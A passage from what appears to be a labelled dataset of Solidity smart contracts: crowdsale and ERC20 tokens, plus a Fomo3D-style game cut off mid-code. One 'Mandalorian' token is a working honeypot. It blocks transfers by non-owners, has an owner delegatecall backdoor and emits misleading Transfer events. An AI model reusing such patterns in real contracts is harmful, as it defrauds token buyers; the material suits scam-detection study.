indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping (address => uint256) balances; mapping (address => bool) public whitelistPayee; modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } function checkTransfer(address _to) public view { bool permit = false; if (!transfersEnabled) { if (whitelistPayee[_to]) { permit = true; } } else { permit = true; } require(permit); } function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) { checkTransfer(_to); require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { checkTransfer(_to); require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } } contract MintableToken is StandardToken, Ownable { string public constant name = "PHOENIX INVESTMENT FUND"; string public constant symbol = "PHI"; uint8 public constant decimals = 18; event Mint(address indexed to, uint256 amount); bool public mintingFinished; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) { require(_to != address(0)); require(_owner != address(0)); require(_amount <= balances[_owner]); balances[_to] = balances[_to].add(_amount); balances[_owner] = balances[_owner].sub(_amount); emit Mint(_to, _amount); emit Transfer(_owner, _to, _amount); return true; } function claimTokens(address _token) public onlyOwner { if (_token == 0x0) { owner.transfer(address(this).balance); return; } MintableToken token = MintableToken(_token); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); emit Transfer(_token, owner, balance); } } contract Crowdsale is Ownable { address public wallet; uint256 public weiRaised; uint256 public tokenAllocated; constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; } } contract PHICrowdsale is Ownable, Crowdsale, MintableToken { using SafeMath for uint256; uint256 public ratePreIco = 600; uint256 public rateIco = 400; uint256 public weiMin = 0.03 ether; mapping (address => uint256) public deposited; uint256 public constant INITIAL_SUPPLY = 63 * 10**6 * (10 ** uint256(decimals)); uint256 public fundForSale = 60250 * 10**3 * (10 ** uint256(decimals)); uint256 fundTeam = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropPreIco = 250 * 10**3 * (10 ** uint256(decimals)); uint256 fundAirdropIco = 150 * 10**3 * (10 ** uint256(decimals)); uint256 fundBounty = 100 * 10**3 * (10 ** uint256(decimals)); uint256 fundAdvisor = 210 * 10**3 * (10 ** uint256(decimals)); uint256 fundReferal = 1890 * 10**3 * (10 ** uint256(decimals)); uint256 limitPreIco = 12 * 10**5 * (10 ** uint256(decimals)); address addressFundTeam = 0x26cfc82A77ECc5a493D72757936A78A089FA592a; address addressFundAirdropPreIco = 0x87953BAE7A92218FAcE2DDdb30AB2193263394Ef; address addressFundAirdropIco = 0xaA8C9cA32cC8A6A7FF5eCB705787C22d9400F377; address addressFundBounty = 0x253fBeb28dA7E85c720F66bbdCFC4D9418196EE5; address addressFundAdvisor = 0x61eAEe13A2a3805b57B46571EE97B6faf95fC34d; address addressFundReferal = 0x4BfB1bA71952DAC3886DCfECDdE2a4Fea2A06bDb; uint256 public startTimePreIco = 1538406000; uint256 public endTimePreIco = 1539129600; uint256 public startTimeIco = 1541300400; uint256 public endTimeIco = 1542931200; uint256 percentReferal = 5; uint256 public countInvestor; event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event TokenLimitReached(address indexed sender, uint256 tokenRaised, uint256 purchasedToken); event MinWeiLimitReached(address indexed sender, uint256 weiAmount); event Burn(address indexed burner, uint256 value); event CurrentPeriod(uint period); event ChangeTime(address indexed owner, uint256 newValue, uint256 oldValue); event ChangeAddressFund(address indexed owner, address indexed newAddress, address indexed oldAddress); constructor(address _owner, address _wallet) public Crowdsale(_wallet) { require(_owner != address(0)); owner = _owner; transfersEnabled = false; mintingFinished = false; totalSupply = INITIAL_SUPPLY; bool resultMintForOwner = mintForFund(owner); require(resultMintForOwner); } function() payable public { buyTokens(msg.sender); } function buyTokens(address _investor) public payable returns (uint256){ require(_investor != address(0)); uint256 weiAmount = msg.value; uint256 tokens = validPurchaseTokens(weiAmount); if (tokens == 0) {revert();} weiRaised = weiRaised.add(weiAmount); tokenAllocated = tokenAllocated.add(tokens); mint(_investor, tokens, owner); makeReferalBonus(tokens); emit TokenPurchase(_investor, weiAmount, tokens); if (deposited[_investor] == 0) { countInvestor = countInvestor.add(1); } deposit(_investor); wallet.transfer(weiAmount); return tokens; } function getTotalAmountOfTokens(uint256 _weiAmount) internal returns (uint256) { uint256 currentDate = now; uint currentPeriod = 0; currentPeriod = getPeriod(currentDate); uint256 amountOfTokens = 0; if(currentPeriod > 0){ if(currentPeriod == 1){ amountOfTokens = _weiAmount.mul(ratePreIco); if (tokenAllocated.add(amountOfTokens) > limitPreIco) { currentPeriod = currentPeriod.add(1); } } if(currentPeriod == 2){ amountOfTokens = _weiAmount.mul(rateIco); } } emit CurrentPeriod(currentPeriod); return amountOfTokens; } function getPeriod(uint256 _currentDate) public view returns (uint) { if(_currentDate < startTimePreIco){ return 0; } if( startTimePreIco <= _currentDate && _currentDate <= endTimePreIco){ return 1; } if( endTimePreIco < _currentDate && _currentDate < startTimeIco){ return 0; } if( startTimeIco <= _currentDate && _currentDate <= endTimeIco){ return 2; } return 0; } function deposit(address investor) internal { deposited[investor] = deposited[investor].add(msg.value); } function makeReferalBonus(uint256 _amountToken) internal returns(uint256 _refererTokens) { _refererTokens = 0; if(msg.data.length == 20) { address referer = bytesToAddress(bytes(msg.data)); require(referer != msg.sender); _refererTokens = _amountToken.mul(percentReferal).div(100); if(balanceOf(addressFundReferal) >= _refererTokens.mul(2)) { mint(referer, _refererTokens, addressFundReferal); mint(msg.sender, _refererTokens, addressFundReferal); } } } function bytesToAddress(bytes source) internal pure returns(address) { uint result; uint mul = 1; for(uint i = 20; i > 0; i--) { result += uint8(source[i-1])*mul; mul = mul*256; } return address(result); } function mintForFund(address _walletOwner) internal returns (bool result) { result = false; require(_walletOwner != address(0)); balances[_walletOwner] = balances[_walletOwner].add(fundForSale); balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam); balances[addressFundAirdropPreIco] = balances[addressFundAirdropPreIco].add(fundAirdropPreIco); balances[addressFundAirdropIco] = balances[addressFundAirdropIco].add(fundAirdropIco); balances[addressFundBounty] = balances[addressFundBounty].add(fundBounty); balances[addressFundAdvisor] = balances[addressFundAdvisor].add(fundAdvisor); balances[addressFundReferal] = balances[addressFundReferal].add(fundReferal); result = true; } function getDeposited(address _investor) public view returns (uint256){ return deposited[_investor]; } function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) { uint256 addTokens = getTotalAmountOfTokens(_weiAmount); if (_weiAmount < weiMin) { emit MinWeiLimitReached(msg.sender, _weiAmount); return 0; } if (tokenAllocated.add(addTokens) > fundForSale) { emit TokenLimitReached(msg.sender, tokenAllocated, addTokens); return 0; } return addTokens; } function ownerBurnToken(uint _value) public onlyOwner { require(_value > 0); require(_value <= balances[owner]); require(_value <= totalSupply); require(_value <= fundForSale); balances[owner] = balances[owner].sub(_value); totalSupply = totalSupply.sub(_value); fundForSale = fundForSale.sub(_value); emit Burn(msg.sender, _value); } function setStartTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimePreIco; startTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } function setEndTimePreIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimePreIco; endTimePreIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } function setStartTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = startTimeIco; startTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } function setEndTimeIco(uint256 _value) public onlyOwner { require(_value > 0); uint256 _oldValue = endTimeIco; endTimeIco = _value; emit ChangeTime(msg.sender, _value, _oldValue); } function setAddressFundReferal(address _newAddress) public onlyOwner { require(_newAddress != address(0)); address _oldAddress = addressFundReferal; addressFundReferal = _newAddress; emit ChangeAddressFund(msg.sender, _newAddress, _oldAddress); } function setWallet(address _newWallet) public onlyOwner { require(_newWallet != address(0)); address _oldWallet = wallet; wallet = _newWallet; emit ChangeAddressFund(msg.sender, _newWallet, _oldWallet); } function addToWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = true; } function removeFromWhitelist(address _payee) public onlyOwner { whitelistPayee[_payee] = false; } function setTransferActive(bool _status) public onlyOwner { transfersEnabled = _status; } }
1
4,080
pragma solidity ^0.4.21; contract ERC20Token { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMathLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0 && a > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a && c >= b); return c; } } contract StandardToken is ERC20Token { using SafeMathLib for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function transfer(address _to, uint256 _value) public returns (bool success) { require(_value > 0 && balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value > 0 && balances[_from] >= _value); require(allowed[_from][msg.sender] >= _value); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract UJC is StandardToken, Ownable { string public nickName="游者链"; string public name = "U Journey"; string public symbol = "UJC"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = (50) * (10 ** 8) * (10 ** 18); function UJC(){ totalSupply = INITIAL_SUPPLY; balances[msg.sender] = totalSupply; } function() public payable { revert(); } }
1
2,291
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract Mandalorian{ event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
1
3,300
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x8090c78edea718c652b29cace404949fd63839fd); address private admin = msg.sender; string constant public name = "f3dplus"; string constant public symbol = "f3dplus"; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, 